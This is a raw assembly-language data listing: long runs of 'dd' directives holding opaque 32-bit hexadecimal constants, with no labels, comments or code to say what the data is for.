		dd 0D4FE4D99h, 1BE41E71h, 0AC4702AEh, 2061DAC6h, 288625Ah
		dd 44A41A4Dh, 0E984B003h, 7740F0Ah, 2E22CF79h, 8485755h
		dd 0F8584EF6h, 0C0AC58BCh, 15A810DFh, 767E00AAh, 4E7B0D33h
		dd 2B8B1D6h, 14963D00h,	2BDA9182h, 744100A6h, 6ED476EEh
		dd 805FE9Ch, 1C80EBD9h,	0B01998C0h, 0E9FCA82Ch,	98E4005Fh
		dd 0F2CE38D2h, 0BB01511Eh, 4C1F6C61h, 0A7EFA514h, 92ED5890h
		dd 601894FDh, 9D844804h, 5BCA8600h, 4F6DF542h, 15C500F8h
		dd 55D1BCA5h, 0D70BB6F6h, 80B219ACh, 104C296Eh,	0DC3F5031h
		dd 36EF0013h, 2C2F35A9h, 0CCA06C8Ch, 8B142953h,	129462FBh
		dd 6206A427h, 2A79FD96h, 0FC2613h, 5AD02963h, 0F93C3350h
		dd 15866805h, 0C00EE83h, 907CE851h, 82190107h, 0DBA40BEh
		dd 0E5B9EC47h, 8B1716B0h, 7603623Fh, 0F0302FB8h, 1D7F90D3h
		dd 0C4832566h, 805E81E2h, 3E1C4188h, 3C6AE707h,	7B407AFCh
		dd 5892F0h, 95761F3Ah, 0D7FC1AFh, 83226B0Eh, 4B7A817Eh
		dd 8BC0DD62h, 2E1D7EF1h, 270552h, 0B32B0361h, 18B0765Bh
		dd 0CA271207h, 8D50E12Ah, 22CD3Bh, 79EF3CF8h, 2F576ED5h
		dd 0C2F7260Bh, 0DC3B802Ah, 0F0FA74h, 59018A08h,	0F1D57EDh
		dd 0FC185A00h, 3C4B51D7h, 9B2113DDh, 2D242010h,	9E70BAC0h
		dd 1C3A40Fh, 0B0DF408Eh, 13B4534h, 632762E9h, 74E3325Dh
		dd 0C30078B8h, 0DFB7BFC9h, 0E7B543h, 0D5859B3Bh, 6312B8D0h
		dd 0FEFB1113h, 0FF47880h, 0EFC03B1Dh, 26C32200h, 5D5BAA12h
		dd 0E9941918h, 900C11h,	6E24764Ah, 77AE7150h, 38110D00h
		dd 6DD00198h, 0C0CC5C1Ah, 0AD2A6A01h, 70552BA9h, 462E1DA5h
		dd 0CF1F3CF4h, 0AC16D347h, 62A8E8E0h, 0E08300A7h, 1DEF080Ah
		dd 0B4000750h, 919433E4h, 0A7632Ah, 0A4C1B5Bh, 3C19A13Fh
		dd 0C106800h, 3E32F039h, 6F7706ADh, 604F5727h, 0A9DEBC05h
		dd 8380B86Bh, 1E7356Dh,	37AD29B5h, 8E28DCFAh, 948729h
		dd 1E98DF6h, 1977915h, 62182D2Ah, 600B9586h, 2E754BCCh
		dd 76D89E00h, 0DDE4F0F8h, 34F004Ah, 4E20489Bh, 75003E3Bh
		dd 87C8F1B1h, 7E30E442h, 70B90079h, 0EAC0AD2Eh,	52CC373h
		dd 45007DE2h, 85EF37EDh, 2A00EFDh, 0E340CEB2h, 0F7D5BABEh
		dd 0ACCFC500h, 4F8B83DCh, 0D1101F49h, 83EB9CA7h, 83630CCh
		dd 4FC059FAh, 2C1C540Fh, 0A14673F4h, 50CC95h, 2D800535h
		dd 58069D94h, 1DA33D1Fh, 0D7F85080h, 23A48Eh, 76DEECC9h
		dd 2494C8F6h, 0D3482A1Dh, 0C4930C41h, 3CB698h, 1A55A200h
		dd 7DE768BBh, 0AED13Ch,	49DECC88h, 95401Eh, 0B1871D17h
		dd 6C0AD3FCh, 0C16B0E00h, 97AFD38h, 0E6E90E7Dh,	0CDC0CA9Eh
		dd 0AE96E1C7h, 0EB21DC02h, 6C4483E0h, 458E12D0h, 0B600295h
		dd 1878B95Bh, 1000EFF0h, 16BE9B2Ch, 36D4FB2h, 7A7CDCC4h
		dd 6398B499h, 0CA00A17Dh, 0A7C3078Ah, 0D33327h,	8FA63A25h
		dd 777980A8h, 60E8DE70h, 6600FA7Dh, 0E1984F01h,	0E2235Ch
		dd 0F46B0C30h, 367BB819h, 4334660Bh, 0A4080C46h, 16177D07h
		dd 0B35237h, 6215799Eh,	900CB28h, 1303FC2Ch, 0D0EC3Eh
		dd 5F89B61Ah, 0F3426CF2h
		dd 9C028A76h, 5ABA4DCEh, 3EB4096h, 1C6FE0F4h, 412D1CCBh
		dd 9843F615h, 0CCA02BB1h, 0AC190260h, 472A578h,	6A758840h
		dd 91F47900h, 309C46D8h, 0BEDC0342h, 0C33A23CEh, 0AB815FA0h
		dd 8FA56F00h, 0CF933777h, 0D04C2E9Dh, 6B0100C8h, 0A3C3C266h
		dd 0D809113Ch, 0DBED0C03h, 90D8B182h, 69D90ED0h, 0B3A0D599h
		dd 90C6AD31h, 60441D00h, 88915878h, 0EEF8B82Bh,	2D0F00C1h
		dd 53280919h, 3426D170h, 9000E114h, 96EAC7DFh, 4F25008Ch
		dd 7B0C270Dh, 1034A81h,	0F22A98Bh, 8910A3EDh, 7DECBD55h
		dd 0AA6F003Bh, 566AB2EFh, 77285EACh, 6D00B792h,	714B0598h
		dd 4251BCh, 483BE1E5h, 61A03116h, 35C96800h, 0B924ABFh
		dd 0D8552897h, 8FF4A0E8h, 13611C21h, 85A84018h,	0F2DC4E04h
		dd 2A591C1Dh, 3A15D9C1h, 0A4CC38CDh, 0C2090327h, 26045E4h
		dd 78370FB8h, 0E2008490h, 0FED450EBh, 17BA780h,	61CC3D49h
		dd 0CC41D89Ah, 0DD070CDAh, 34A99DFh, 8007D730h,	0D92606CEh
		dd 10D89D2Ah, 4790C005h, 0B3007040h, 45B2D367h,	395D381Bh
		dd 0F144B783h, 2EC11A74h, 3C78BC66h, 1FE43E7Ch,	54963A0Bh
		dd 57F48C0h, 55B700BBh,	9DB1B2CFh, 0E30525C7h, 0CE7E86DCh
		dd 9E8546C1h, 0F41FCFD0h, 0AF6000D1h, 8EADDB67h, 5C0014CAh
		dd 0F13B4DD8h, 12D95B79h, 1D44BB3Fh, 80988778h,	0E0898EF8h
		dd 87FC8C60h, 81709100h, 3E8D298Eh, 3D7500E2h, 481F2DD9h
		dd 7430C221h, 0B98C883Ch, 386D60EDh, 996BEE5Ah,	7CF0273Bh
		dd 196C1030h, 38FAF6h, 411A64F3h, 0F814E4D1h, 950052F8h
		dd 887BA2FCh, 765424h, 0E2BEABF5h, 59C6A3F6h, 0BCCB448h
		dd 0A013EEBBh, 0BCC225D8h, 6DB10692h, 9B9BAC6h,	5212760h
		dd 31CB62Ah, 67AAEF4Ch,	0D900FFC5h, 95D96D0Ah, 3F3CF10h
		dd 0F255F132h, 79E18675h, 26418011h, 0DE013EBEh, 0DA73CABh
		dd 5F62067Eh, 386334BDh, 50188630h, 30417268h, 0FA61FEDDh
		dd 0E101FB81h, 391B24F1h, 89327D9h, 99F4C098h, 0E300FB88h
		dd 7E041079h, 6062EFB8h, 0EBF3792Bh, 0D17106C7h, 0C1DFA900h
		dd 47BFE053h, 0AAED0A32h, 41B48683h, 0D982B76Bh, 8890B2C0h
		dd 0F4303036h, 2CF1EC11h, 79E484h, 75FB839Ah, 56FF58E0h
		dd 486E3018h, 4E00FD5Bh, 0D46D858Ch, 8E41ABh, 6C643C46h
		dd 0EE545870h, 5DCBF700h, 85B02ADDh, 0AD70E9FAh, 16070F7Eh
		dd 5EE0B517h, 0FD046D1Bh, 8C650200h, 60882BF0h,	36143F98h
		dd 7562640Eh, 0C235FB20h, 68016726h, 9FE5B26Bh,	0C6C03C69h
		dd 0BE820081h, 0D76D2A2Bh, 7300DB0Ch, 6091F9Eh,	9AFA04h
		dd 8D34BCCAh, 92E5ED27h, 71379C00h, 69314BB8h, 51870ECDh
		dd 34A79957h, 9DC6A088h, 12004795h, 26F99410h, 7F2BF3A7h
		dd 0AE8B03CCh, 0A6B193EAh, 454ECFC8h, 0C60040F0h, 78551453h
		dd 91D6D8h, 9BC443ECh, 0F88CDEF1h, 0A1D1BF00h, 0FFE7EE20h
		dd 0A8AB39BCh, 0E94E2ACh, 59E08079h, 7848AC08h,	0C50091E8h
		dd 5D50B3D1h, 303C4E2Dh, 0F310D963h, 6677EADEh,	2EF88407h
		dd 0C110203Dh, 11089Ah,	0A3A4C2E3h, 933AF1B6h, 0B7FEED00h
		dd 5E6AD458h, 0C2DE1E73h, 0DB8A003Ch, 0DC508C21h, 0B6671100h
		dd 7782355Bh, 0CF870094h, 0A35E1FAAh, 0CD0C3057h, 317C8DF9h
		dd 0CB8800B3h, 0A45B3E42h, 8EE0B6Ch, 0A7ED1C1Eh, 303C326h
		dd 0B137DF77h, 21F87D30h, 445A03CCh, 7FF62B20h,	0BDFC48A6h
		dd 0C5F308C7h, 1EC0E451h, 60A2E9C8h, 2E3940B0h,	62016B9Bh
		dd 0CB2F7CF5h, 0B9FCBBFBh, 63E500D2h, 3B78EDAEh, 150E3418h
		dd 98AF078Bh, 0FFD4A10h, 30D59B7Fh, 312ACC7Fh, 1460A508h
		dd 7C05EA20h, 6F5F00CBh, 38B03E48h, 0B700C4F6h,	8D521AFCh
		dd 0F71955Ch, 84BCBB4Dh, 40BD7307h, 382123EAh, 1F019000h
		dd 0F62DC9B0h, 1D8C0052h, 0AEBAAFF2h, 0A43C183Ah, 0E14F80DFh
		dd 7B7A5E06h, 99C00FEh,	24CA7301h, 2877776Fh, 5D15AA03h
		dd 0A0A10DF7h, 1F7BF0A9h, 0A35105Fh, 836809B8h,	0D5907F96h
		dd 3E63B4h, 7F9EE371h, 0C07502D9h, 39C0E07Bh, 0EC65FF90h
		dd 537438D5h, 4A18ADB0h, 0BC019473h, 0C031B5E3h, 3180ABB4h
		dd 58D0DF8Dh, 0A610CDA7h, 2E3AAA54h, 6530B0Ch, 4B007811h
		dd 1FE0D032h, 3A982710h, 7E3011F1h, 32401261h, 609D4700h
		dd 0D3B0EA3Fh, 25B3720h, 6F05B041h, 7A01A1FDh, 6C98DAAFh
		dd 14E4C58Dh, 997200EAh, 0A6E126Ah, 1600E6F7h, 0B2C0F410h
		dd 3019231h, 0CAA8B89h,	51001802h, 43406A7Dh, 0C81AFBh
		dd 0C1D71EB7h, 8D542E8Bh, 0C201610Ch, 18AAE07Fh, 80E3A4Ah
		dd 7CA0B947h, 0D4741C6Bh, 3D2DFD18h, 3F1B59h, 0FCBA076Fh
		dd 0CCA27154h, 0F8604F74h, 6F48E221h, 0EC3007B5h, 0A7BCEE2Fh
		dd 39208146h, 0C24C21AAh, 38C33080h, 0E900ED17h, 7EC43EB1h
		dd 0AA4A04h, 5EA403D5h,	6E8525C2h, 0BAA6E514h, 8B8D80D4h
		dd 0C90B306h, 6DA8552Dh, 60605A18h, 0CA3880F9h,	76D60075h
		dd 0C2E45D33h, 20013A5h, 0B560F8F7h, 3A8E1D9Ah,	92007D70h
		dd 0D01EA269h, 0A516D473h, 1EA91A0h, 81B23D32h,	0C9D8803Ah
		dd 0C3CAD6EEh, 28970012h, 8EE3E168h, 3E00EC01h,	0CBC4BE2Dh
		dd 1A27411h, 9AA0F591h,	5768B23Fh, 156560B0h, 9F00B6C9h
		dd 8CB805C2h, 31633FBh,	0A6E2D357h, 0C10701E9h,	0A5DCD53Eh
		dd 708B4B11h, 0C1890E3Fh, 531A7A81h, 29BD7Bh, 42FBB24h
		dd 0A316Ah, 0D56D9ABCh,	2177D365h, 8AE9C8A8h, 0E0A74B03h
		dd 0F8F8E474h, 61EB064h, 0D02D7011h, 0C0152925h, 18CC51D3h
		dd 0ACF9CCB5h, 0C1884CFDh, 0D0E20671h, 607ED394h, 71A0844h
		dd 48F32C3Ah, 3CA33033h, 0BB7EE4F7h, 6F003E73h,	46B80AEh
		dd 9B135Ah, 74364EB6h, 0C50072Eh, 0DCEF5D00h, 2B416EB1h
		dd 54601ECEh, 0C201383Eh, 4009E4D6h, 0CBE0D0FEh, 700B071h
		dd 5C21B7A4h, 740B7FDFh, 9F8730D9h, 7B9AB20h, 0A6D6A201h
		dd 5CD07112h, 0E750CB41h, 38BC7420h, 0FCD81A36h, 0DCB87700h
		dd 85321ECh, 0F759900h,	0FFE4C0B7h, 6D490786h, 0B0F96B0Ch
		dd 2A9971C2h, 2B538200h, 45FD64A3h, 0DD58C0B8h,	0E51090E0h
		dd 870080DEh, 7C419C5Ah, 1FFF7BFBh, 0D8056374h,	0C0821F9h
		dd 892F9D00h, 0ED0E5838h, 0E0A1C056h, 0C2133CFCh, 0E8CE60C0h
		dd 6EC547Fh, 0FB7BC856h, 0DB0A18EAh, 3828D6E0h,	5F9C5480h
		dd 86048B7Ch, 0AEF144h,	79C29D0Dh, 80938B64h, 83FCF1Ch
		dd 0EEC470C0h, 6D3B56EBh, 0C468588Eh, 0FD00653Ah, 55F6077Ah
		dd 88456Dh, 0C5C02B17h,	0BA5263B1h, 249A9F00h, 71B92F0Eh
		dd 96B1E12h, 82EBC7A0h,	0DAF58001h, 0D800412Eh,	19359804h
		dd 0EC6813FDh, 0B416601Dh, 0FE669D6Fh, 92B4B003h, 0EBFAAABh
		dd 0FA3CF42Ch, 0AF202EA0h, 2200DE8Fh, 775CEA47h, 2A0D69Ch
		dd 0ACC28A06h, 5740C930h, 7658E561h, 249007A9h,	2AB0963Fh
		dd 1D476B35h, 642E4C1h,	11667664h, 8607407Fh, 54B285FCh
		dd 2CD40729h, 213866h, 0F5861239h, 0BB89F09Fh, 8007B13Dh
		dd 207CD226h, 3D766DDBh, 4780AE67h, 0DEC9E16Fh,	48FCE4F5h
		dd 0EFD2126h, 9CE0A000h, 0CCB585Ah, 9E2C5B03h, 0E2013420h
		dd 8BFAFF97h, 9FDFD03Ch, 765DE890h, 804660B3h, 31C75063h
		dd 4CF14400h, 0CCAB56F6h, 951A1C0Ch, 55370091h,	80B47F9h
		dd 51344A06h, 8F82BE0h,	41322A46h, 852E58Ch, 5AFC20h, 0E86FF3C2h
		dd 0F1FD14FEh, 0A67DEA00h, 8587ADDFh, 0DAB43347h, 0A8607780h
		dd 3E04FD38h
		dd 0B69C016Ch, 0F73B4528h, 0D8E0C8E9h, 80229300h, 0E51E0566h
		dd 0F9F10016h, 1911870Eh, 25267AE3h, 3600A161h,	0DA39788Dh
		dd 0BCFD03BEh, 5B08E5D8h, 0D4689900h, 64898FEFh, 0D1E30ED2h
		dd 0ED8CCB34h, 0B5009D21h, 0BDDEE0F4h, 956378h,	5702F00Eh
		dd 181765CEh, 0B10C9331h, 0A050F877h, 3358B2Eh,	30917C63h
		dd 0C0BD17C7h, 16D4760Bh, 9778FD00h, 5DE9A2B7h,	0E98123Eh
		dd 15E407BFh, 62BE77D4h, 0A8A055ACh, 8579944h, 4F318000h
		dd 0D4B8C159h, 8CB60256h, 0A8DFF9C7h, 33A00440h, 94791D00h
		dd 7A6DA198h, 593100B8h, 8F7E64BAh, 2500DA48h, 20989B8Eh
		dd 29CEB24Ch, 0C720EF76h, 58DA1257h, 0A6E1C913h, 40023426h
		dd 18CFAB97h, 34913042h, 4B5310B2h, 0A5BA0197h,	3A7454F8h
		dd 0F71880E7h, 0A378C342h, 0CBBE00A9h, 0DA0C7E39h, 7D01F9F4h
		dd 0E59DE6C0h, 6880D809h, 5ED927B3h, 9C00882Fh,	4198D7F2h
		dd 185B9ED2h, 29761A22h, 0CA00B748h, 63B06B59h,	1FBBBE45h
		dd 82A73BBAh, 0D5087698h, 8C06D240h, 0C5A06C00h, 5940FA0Eh
		dd 0BFF900F2h, 0F09BD9ACh, 0A0C8152h, 58C0AF7Ch, 791891BEh
		dd 2EF184Eh, 4A19D0D7h,	0A6E0BB70h, 0CB07EC6Dh,	0DCB3593Eh
		dd 0B77947B1h, 11C1BC40h, 0BA30A07Dh, 5C1A070Ah, 81EAE646h
		dd 81B44913h, 1C708429h, 7BC8196Bh, 2361329Fh, 40483C08h
		dd 1F7FC873h, 33D31600h, 7607FE88h, 0D090A8C7h,	98C60061h
		dd 0F6F77BF2h, 0F0038D7h, 91DDF362h, 9CA4036h, 96ABDA15h
		dd 4DDCAC20h, 8856233Fh, 10384898h, 0FFC0DF67h,	0F0A02297h
		dd 6B2448Ch, 8097E73Fh,	2F1E21A2h, 93B98CFh, 0B1829AEh
		dd 0C37E1490h, 0FBD180h, 8D9A4A2Eh, 2908283Eh, 0AC523224h
		dd 2A0AA4A3h, 15BE8C1Eh, 0A05CD8h, 0C461B2A8h, 30034C86h
		dd 5819E516h, 3B71407Fh, 9825EF2Ah, 608230Bh, 0E78181A6h
		dd 0A4DCE65Dh, 51A013Ch, 9618BFEh, 282420F8h, 0C90AA842h
		dd 6E8884B3h, 326C61E0h, 0F029E088h, 0DF00B874h, 0E1730A64h
		dd 85B548F4h, 0B6F312h,	0DB04DE15h, 28C3177Ch, 5825192Ah
		dd 0B16067C9h, 7B467C2Dh, 283F4A00h, 699877EFh,	78B4130Ch
		dd 0BED42079h, 61F40CDh, 9CC03802h, 0CF29B265h,	0A5ED0573h
		dd 6B6A6F7h, 0C8A115AEh, 159DF020h, 0D0B369CDh,	934EBD00h
		dd 0A2504944h, 42F5C400h, 6D55D3Eh, 608A1379h, 0EFC82078h
		dd 35002FB5h, 0E16B69CCh, 3EB298CAh, 0C6B17BE0h, 6014BAF9h
		dd 7743B778h, 0F7862D03h, 2CAC2A85h, 8635011Ah,	87DE2259h
		dd 639FC1Eh, 0DA6C8F00h, 671B020Bh, 0A08D0905h,	0E4809544h
		dd 7FFA4CEEh, 3513DD7Ch, 0A4003385h, 7887DBDFh,	8E7631h
		dd 81DAE854h, 0E33268B5h, 0C2288B0Fh, 0DDFD2066h, 90B7E0BBh
		dd 0CB2F0074h, 8AB3EFDAh, 540ACEFAh, 60F1471Fh,	49888F40h
		dd 60B8D185h, 60003F22h, 63258657h, 6AB6D5h, 65B83F5h
		dd 0F6C4A68Eh, 9D6D23Ch, 91D30B7Eh, 44224058h, 1BD2D16h
		dd 2952F9D7h, 4D7AE4BCh, 9AC56100h, 750340F1h, 16B53CD4h
		dd 7998D286h, 83007905h, 0CF275A60h, 1F168A93h,	451DE713h
		dd 0C46AA220h, 0C424DB48h, 0AF2271ADh, 1620A135h, 0B1247002h
		dd 3507529h, 8D2AFEB4h,	0C15288C5h, 0DDA1FE04h,	0E528C80Bh
		dd 12E1133Bh, 644BC9DBh, 9178976Fh, 0E0278E99h,	0B8ACE31Bh
		dd 0C0560B02h, 5809D5ABh, 0D0FDA704h, 0DAEA22DCh, 9EA23500h
		dd 0DE0F9FC8h, 2CEF0BBAh, 40867839h, 0D500A147h, 0D1DD40B5h
		dd 7113D204h, 67940054h, 46F370B9h, 6CB081D4h, 23B37112h
		dd 8BC5EC00h, 0C68C978h, 421BFD83h, 359C1A1h, 443428BCh
		dd 7B953500h, 13E79C75h, 2A202EECh, 1C15C038h, 9321196Ah
		dd 0CD56607Ah, 0BF01971Fh, 0FDF39CCCh, 11F5A77Dh, 0C8782180h
		dd 6EB5F1D4h, 0C91FAF09h, 0A1C88090h, 1767B1B9h, 1D39DD49h
		dd 47AD356h, 0B5767018h, 590FD054h, 4EA33500h, 260B8FBDh
		dd 0B533004Bh, 5A298BB2h, 7630090Ah, 0AD03319Fh, 6740F8C1h
		dd 70EA8196h, 0F41D37AEh, 0B8713501h, 99BB1870h, 0A6442182h
		dd 0B08560A0h, 93E4D7D7h, 1000C9BDh, 51BF7FD2h,	94728661h
		dd 0A7834034h, 2F06BB43h, 8D43F28h, 0C8930C8h, 0CFB75640h
		dd 10088160h, 74D92CADh, 208A40Bh, 281878FCh, 50E47C03h
		dd 0FF67A81Fh, 0E87F8F0Ah, 1610B0E0h, 0C029DE5Eh, 76D632BBh
		dd 8001983Dh, 0DC7CBD42h, 0E042714Bh, 1C7F3058h, 2319D008h
		dd 403D647Bh, 651FA6A4h, 3E900047h, 2FEC42C7h, 0B15964Bh
		dd 7AC20DAh, 9CD8FB61h,	0BE6C8720h, 113314CFh, 0F44CD87Ch
		dd 2401B623h, 22854686h, 3F5DB18h, 586B817h, 0E8320342h
		dd 2F62FBBAh, 0ABF634D8h, 13EEDE17h, 4890EC1Eh,	20C20B17h
		dd 7D40612Ch, 0B13054F2h, 809A2A66h, 674703B8h,	4EFC06Dh
		dd 2B2D901h, 6E152697h,	36A020h, 2725908Bh, 4111F8C6h
		dd 0F4A0B0ACh, 486DF70h, 0A0199746h, 202562C8h,	8D26CE01h
		dd 0D44A1307h, 5301B577h, 0CC4C6392h, 71470035h, 7FC58505h
		dd 69C43E88h, 7037DEF3h, 90CFA697h, 23D448Ch, 0D0977B12h
		dd 58189070h, 77E9C510h, 54AC40F9h, 90966878h, 40EFA600h
		dd 58C89D0Ah, 0B7C61391h, 214C9376h, 2744DE88h,	0D300F4E6h
		dd 58252BF1h, 2684473Bh, 904DFE9h, 38117903h, 0CADB0344h
		dd 0B2A60094h, 2B00BD61h, 37FB416Ch, 0F3E815h, 3FDF78B1h
		dd 875B559Ch, 7E8DA713h, 22EF3806h, 1D177B1h, 0E2ED1D6Ah
		dd 0C821DCA9h, 0EA3F2351h, 0AD73096Fh, 45488233h, 98000BCAh
		dd 0A0105E08h, 0D191E467h, 6DE541C0h, 88D096C6h, 0DB600FD4h
		dd 219678EFh, 0EC91CB0Ch, 0F48F880Fh, 80640547h, 77D2FC96h
		dd 606E49h, 3A8B04BAh, 3CD8E991h, 9304B2E2h, 0B0607D0Bh
		dd 0CF301950h, 7010D19Fh, 8FB200A7h, 7EEAD2CAh,	0FF267285h
		dd 105EA4EDh, 8E470789h, 0D0C52139h, 0F030C2B0h, 7D9E00BDh
		dd 2B082211h, 860478EEh, 49D8B7EBh, 0D00248E3h,	44961BEFh
		dd 0A110E831h, 571FF4F1h, 0BC413B67h, 368C294Dh, 1BE5F18Ch
		dd 2D60C629h, 4B2855D2h, 0D0825C3Eh, 0C48CC314h, 3FA1F453h
		dd 27B0C47h, 0D06458A5h, 0E444510Ah, 0F96CC537h, 0EED1F280h
		dd 67650743h, 69394B05h, 0DD46B490h, 6D09510Bh,	4D64029Bh
		dd 0E25CC906h, 0A6F9080h, 80526C3Bh, 7F04B090h,	6D07B118h
		dd 20BEF0A0h, 0E406DCDEh, 0E1895AA3h, 0CFB60358h, 0D5CA6C3Ah
		dd 0A1E7391Eh, 27921D07h, 4AE0B680h, 4B49C20Dh,	484843F7h
		dd 70A3FFCh, 18A0CE44h,	31C7C80h, 30610F0Ch, 4CC14234h
		dd 87005EFDh, 39309D82h, 7F83DE8Fh, 0A90405E5h,	80F53222h
		dd 3CCDE763h, 7BD79600h, 57FA870Ah, 2F5F0EDEh, 67382BAh
		dd 80E3869Dh, 7EB8CE62h, 0E0062088h, 0D950A130h, 0EE88C79Ch
		dd 80A30999h, 542914C4h, 0D710648Ch, 0D8099A00h, 36D334E7h
		dd 0B2A00B8Dh, 8C4184DDh, 47D1846h, 0DC89AEF7h,	12C8BC8h
		dd 36F7019Ah, 1C6C3193h, 642A2C80h, 0D2009589h,	0E87E5DCBh
		dd 0C603DAh, 818523ACh,	6713FBB8h, 0DCB32C1Fh, 40D9BA40h
		dd 27EEF76h, 2FDD8599h,	34793ED2h, 5E183FD1h, 7C9F902h
		dd 437090AFh, 56B10055h, 0D8A814D3h, 59263481h,	4C0D6860h
		dd 704E2026h, 0C050B38Fh, 0F46EFB14h, 2353070Ch, 0E6275193h
		dd 40B09113h, 2579C899h, 0E8053018h, 869A50BFh,	42BA8401h
		dd 8420167Dh, 551300Bh,	5DA3CE61h, 983EEA0Fh, 2B92853Bh
		dd 0A54E6880h, 185C6C99h
		dd 0A20FBAD8h, 39B84F9h, 0A85D11BFh, 67E49h, 86437F33h
		dd 0E693C1F5h, 69E9BC00h, 0A095015Eh, 0C7960136h, 821C293Dh
		dd 94E1F074h, 0CCBB6900h, 0E63CA4CEh, 0F9BA003Bh, 0B0F65791h
		dd 0B200AF31h, 0FBA0786Ah, 0C79E74h, 709F458h, 9BC1B076h
		dd 9A069CF6h, 0E012DCC5h, 0ECBB0018h, 0E6244D73h, 5F00A78Fh
		dd 0CA380AE1h, 7ACC0895h, 53521FB9h, 0E8E9412Eh, 1C701Bh
		dd 1FB81284h, 5D1FC4C0h, 0A700BCE0h, 0BA98146Dh, 0A100FDCAh
		dd 94B1B9D4h, 0E966634h, 68BB33E8h, 5283407Bh, 7670F065h
		dd 4D040430h, 0BFEA0C2Ch, 0D1D8E9CDh, 0F6AAA300h, 0A6CEDA74h
		dd 0F19C30CAh, 46D38260h, 6B1C4705h, 8C003E65h,	0C1A45C2Ah
		dd 179226F6h, 0E06400A7h, 556179EDh, 5F25A91Eh,	6D3002C0h
		dd 0A8C51FC3h, 602A1A28h, 2B7619ECh, 0A9C1B41Ch, 10E6FBAFh
		dd 791FA217h, 856460B0h, 4C963D06h, 44A892DAh, 23884E4h
		dd 1FC08FB3h, 104D80BBh, 59EB795h, 82B6FF1Ah, 74480012h
		dd 0BD91E14Ah, 59E07CA9h, 3C80DE84h, 7D2A1801h,	4618A460h
		dd 49C0C41Ch, 0DA09103Fh, 800A150h, 0CAA70620h,	0D62EEA18h
		dd 87B27C91h, 0E060FBBBh, 42C4A949h, 6E39C0B6h,	9D04FD24h
		dd 64C52200h, 0F14AE818h, 8DA9C1A5h, 401B340Dh,	6F91A718h
		dd 0D8853E02h, 8275CCB0h, 8022E950h, 5E1BE31Ch,	859F06E8h
		dd 989B950Ah, 9D48C51Fh, 0BD9C54B8h, 34979801h,	87A04C33h
		dd 0A0E020E0h, 149D0C84h, 0F483B37Dh, 0DA05E800h, 9EB9D08Fh
		dd 0C406AFF0h, 0BB7B126Fh, 0F080010h, 4B917D33h, 3806906Eh
		dd 0F1139A3Ah, 53948069h, 130929Bh, 8481C511h, 49A35E56h
		dd 80C004A0h, 3B127119h, 0E7EE9C92h, 0D1326A0Ch, 30479829h
		dd 1A09ED8h, 13126388h,	0BC13DE17h, 0C5CE0AFEh,	22690084h
		dd 4891ECD8h, 530083E8h, 87F2DE1Dh, 37711EC4h, 3A61F16Dh
		dd 3398F840h, 68B9D134h, 12534037h, 0C36DC317h,	0F197FE5h
		dd 0E8FBE91Dh, 74218AE9h, 51B1BA7Dh, 4675C1ACh,	2E551054h
		dd 4100F3BCh, 772D983Dh, 80A1825Eh, 0BC72C701h,	2C90EC7Eh
		dd 68B11061h, 15D9A312h, 0A8F61034h, 8421A70Ch,	0D49B3F11h
		dd 0FE5EFB1Fh, 71C25118h, 9200DCB2h, 838BB574h,	1D2AF0D3h
		dd 510D61h, 2E153E02h, 0D77F957Ch, 3B05DC91h, 0FA00A163h
		dd 62B99BC9h, 1A7F0EB7h, 0E3C107A8h, 804C390Ah,	0F3605EE1h
		dd 0CC690B7h, 15ADDCA5h, 6E15F118h, 0FB4DF6Dh, 0E03EB6D2h
		dd 3B715CC4h, 18B0603Ah, 4E38DE2Ch, 0ACC16303h,	99F4AF70h
		dd 50D8E9FFh, 4A5F0059h, 0D5234B4h, 80EB166Eh, 601CBC39h
		dd 3C689767h, 0EA007C3Dh, 0A03691B7h, 4D608F9Bh, 0E0162779h
		dd 0DA7300AEh, 36A18ADFh, 0AB73AC8Eh, 2829F600h, 0BD19FD9Ah
		dd 6889014h, 0DC90EA99h, 391841DEh, 61E905CBh, 0E6211C7Bh
		dd 0F8E0E8C1h, 5A301838h, 9DE2B178h, 0E14D4612h, 0EEC4A800h
		dd 7B93A5h, 0B7A10B5h, 2B13FDBFh, 0BC014E00h, 90E18E77h
		dd 0B33C0239h, 0B2FFC551h, 0F90204B7h, 36B33F74h, 103ACC3Eh
		dd 80F494Dh, 81F06ADDh,	8BA3E190h, 21A2509Dh, 863DDE8Eh
		dd 68A818CDh, 0B02018B8h, 6BF6C018h, 81A5CA0Bh,	99FA8C0Dh
		dd 2842E96Fh, 6E1882F8h, 344C8836h, 143A7933h, 1C8CBF19h
		dd 3793D10Ah, 0B228590h, 950665Eh, 0F6031D1h, 15A51779h
		dd 0E3699B0Ch, 0BA3F850h, 6481D006h, 5C09C832h,	0F4F91C98h
		dd 9D0B3FEh, 0D14910Ch,	9104AAF7h, 5D338188h, 500A10CDh
		dd 0B9640B02h, 4840F1F3h, 2915D042h, 307010BBh,	0E73808EEh
		dd 3AEA906Fh, 0FC526E0Bh, 0AC042FE4h, 33133170h, 48C41110h
		dd 31E00EB4h, 64827200h, 8470DDC1h, 128D10DCh, 13E8004h
		dd 8E6229Ah, 7B960D6Dh,	838D0606h, 69236239h, 404916C4h
		dd 8794FC1Eh, 0ED4048DCh, 9C3CA6E6h, 2F490389h,	66F1B326h
		dd 414B6101h, 3D466CE3h, 0A3C51080h, 2294A989h,	7107D21Dh
		dd 0C688318h, 2B9F3033h, 558C3448h, 8AE5A10Fh, 742483B1h
		dd 93083A3Ch, 6D2E007Bh, 0DF8DD554h, 0FE1BB322h, 0F8F96FD8h
		dd 74CA7126h, 458C1EE3h, 0C8B037Bh, 0C1636EC5h,	3A3D4248h
		dd 0C9004708h, 0A3BEA0C7h, 3078792h, 88E2C05Bh,	460EFE20h
		dd 437831h, 415F2FBFh, 63DBE46Ah, 94717409h, 0B80490A4h
		dd 99FC1412h, 0B91E8C91h, 0E8B698CBh, 3500FA8Ch, 6834B265h
		dd 0C00721BAh, 0F4C03188h, 0FF7B0496h, 0A0383034h, 0D9C2B683h
		dd 0D450E0BBh, 3168230Fh, 3311EB03h, 2884400Ch,	8679578Eh
		dd 0BACD0601h, 651EF8DBh, 0E19683D0h, 0E1661832h, 41000834h
		dd 585ACA33h, 5079383Ch, 0F47CC90h, 322799CDh, 870D6701h
		dd 0D8218A42h, 0C106B09Ch, 76A13F8Ah, 0E20C0183h, 0C5390726h
		dd 6800C7D3h, 8513484h,	92EEA6h, 445F28D8h, 1F520D6Ah
		dd 0A8850890h, 0B400E01Eh, 0BEC53639h, 1E7A0820h, 0C4098CBCh
		dd 2864208Dh, 522E7535h, 61C8B848h, 9E401FC4h, 34B350E2h
